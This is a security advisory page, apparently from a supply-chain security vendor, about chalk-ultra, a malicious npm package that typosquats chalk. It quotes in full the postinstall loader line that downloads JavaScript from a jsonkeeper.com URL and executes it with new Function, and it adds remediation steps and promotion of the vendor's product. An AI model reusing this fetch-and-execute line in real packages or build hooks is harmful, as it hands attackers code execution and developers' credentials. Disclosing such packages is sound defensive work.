chalk-ultranpm
Malicious code in chalk-ultra (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
chalk-ultra is published under a name that mimics the widely-used chalk package, but its main is a verbatim copy of nodemailer source and its package.json declares "postinstall": "node lib/utils/index.js". The postinstall path detaches into lib/utils/smtp-connection/index.js, which executes require("axios").get("https://jsonkeeper.com/b/OMNQZ").then(r=>new Function("require",r.data.cookie)(require)) — fetching JavaScript from a public, mutable paste host and evaluating it via new Function with the installer's require and full process privileges at install time. A sibling file lib/utils/smtp-connection/parse.js exports an AES-256-CBC decryption helper with a hardcoded key (1c7631ac...0566) and IV (cf17723e...39d6), pre-staged to decode encrypted strings handed back by the remote second-stage payload. Any developer running npm install chalk-ultra executes whatever JavaScript the attacker is currently hosting at the jsonkeeper.com URL, with the installer's network access, environment variables, credentials, and filesystem.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for chalk-ultra (3 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging chalk-ultra across your stack and pipelines.
If you installed it — respond
chalk-ultra is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If chalk-ultra was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks chalk-ultra before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks chalk-ultra-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.